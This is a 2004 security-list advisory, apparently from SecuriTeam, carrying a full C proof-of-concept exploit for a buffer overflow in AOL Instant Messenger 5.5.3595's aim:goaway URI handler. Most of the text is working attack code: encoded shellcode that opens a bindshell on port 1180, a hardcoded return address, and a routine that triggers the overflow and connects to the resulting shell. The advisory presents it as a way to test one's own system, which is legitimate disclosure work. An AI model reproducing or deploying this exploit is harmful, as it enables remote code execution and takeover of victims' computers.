[EXPL] AIM aim:goaway URI Handler Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 08/15/04

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Date: 15 Aug 2004 14:05:54 +0200

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      AIM aim:goaway URI Handler Buffer Overflow Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/windowsntfocus/5YP0C00DPC.html> AOL Instant
    Messenger aim:goaway URI Handler Buffer Overflow, a remote exploitation of
    a buffer overflow vulnerability in America Online Inc.'s Instant Messenger
    (AIM) can allow attackers to execute arbitrary code.

    The following exploit code can be used to determine whether your AIM is
    vulnerable to attack or not.

    DETAILS

    Vulnerable Systems:
     * AIM version 5.5.3595

    Exploit:
    /*

    subject: local PoC exploit for AIM 5.5.3595

    vendor: http://www.aim.com
    cve: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636
    credits: Matt Murphy
    date: 10 August 2004

    notes: exploits localy if an argument is supplied, otherwise prints the
    url.
                offsets are based on exe/dll provided in the package, so it
    should be NT universal.
                shellcode makes a bindshell on port 1180.

    greets: roSec - Romanian Security Research - www rosec info

    author: mandragore

    */

    #include <stdio.h>
    #include <windows.h>
    #include <winsock.h>
    #pragma comment(lib,"ws2_32.lib")

    #define GPA 0x004040a4
    #define LLA 0x00404088

    #define fatal(x) { perror(x); exit(1); }

    unsigned char bsh[]={
    0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,
    0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,
    0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,
    0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,
    0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,
    0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,0x89,0x21,0xC8,0x21,0x0E,
    0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,
    0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,
    0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,
    0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,
    0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,
    0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,
    0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,
    0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
    };

    char *uri="aim:goaway?message=";

    unsigned char smalljmp[]={ 0xeb, 0x08 };

    void client2serv(unsigned int s) {
     char buff[4096];

     for (;;) {
      fgets(buff,4096,stdin);
      send(s,buff,strlen(buff),0);
     }
    }

    void sh() {
     int ret;
     long s;
     WSADATA wsa;
     struct sockaddr_in sin;
     char buff[4096];
     fd_set fds;
     long host=0x0100007f;

     WSAStartup(0x202,&wsa);

     sin.sin_family=2;
     sin.sin_port=htons(1180);
     sin.sin_addr = *(struct in_addr *)&host;

     s=socket(2,1,6);
     if ( ret=connect(s,(struct sockaddr *)&sin,16) != 0) {
      fatal("[-] damn.. it looks like it failed\n");
     } else
      printf("[+] connected.\n\n");

     CreateThread(0,0,(void *)client2serv,(long *)s,0,0);

     for (;;) {
      FD_ZERO(&fds);
      FD_SET(s,&fds);

            if (select(s+1, &fds, NULL, NULL, NULL) < 0)
       fatal("[-] shell.select()");

      if (FD_ISSET(s,&fds)) {
       if ( (ret = recv(s,buff,4096,0)) < 1 )
        fatal("[-] shell.recv()");
       memset(buff+ret,0,1);
       printf("%s",buff);
      }
     }

    }

    void fixsh() {
     int gpa=GPA^0xdededede, lla=LLA^0xdededede;
     memcpy(bsh+0x1a,&gpa,4);
     memcpy(bsh+0x2b,&lla,4);
    }

    int main(int argc, char **argv) {
     char *t;
     int retaddr=0x10015599; // call ebx from rtvideo.dll, should be stable

     fixsh();

     t=GlobalAlloc(0x40,2000);
     memset(t,0x41,1500);
     strncpy(t,uri,strlen(uri));
     memcpy(t+1037-4,&smalljmp,2);
     memcpy(t+1037,&retaddr,4);
     memcpy(t+1037+4+4,&bsh,sizeof(bsh));

     if (argc==1) {
      printf("%s\n",t);
      return 0;
     }

     printf("[+] sending request..\n");

     ShellExecute(0,"open",t,0,0,SW_SHOW);

     printf("[%%] let's sleep 5secs..\n");
     
     Sleep(5000);

     sh();

     return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by mandragore.

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